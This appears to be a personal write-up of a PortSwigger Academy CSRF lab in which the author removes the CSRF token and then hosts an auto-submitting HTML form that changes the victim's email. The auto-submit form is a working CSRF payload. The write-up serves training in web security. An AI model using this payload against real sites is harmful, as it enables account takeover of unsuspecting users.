PortSwigger Academy Lab: CSRF where token validation depends on token being present
Task
This lab’s email change functionality is vulnerable to CSRF.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
Attempt
Logged in as wiener. Updated the email and captured a POST request to POST /my-account/change-email . The request sends these parameters: email=wiener1%40example.com&csrf=uTHfN3JgOvGTGMwR9ojLKi2yLWIRi0OA. Simply deleting the csrf parameter bypassed the validation mechanism.
Modify this http snippet:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="uTHfN3JgOvGTGMwR9ojLKi2yLWIRi0OA">
<button class='button' type='submit'> Update email </button>
</form>
Modified ver.:
<form id="autosubmit" action="https://0a59008e0406e0fe805631dd00cb00c5.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="[email protected]" />
<input type='submit' />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
Delivered the payload to solve the lab.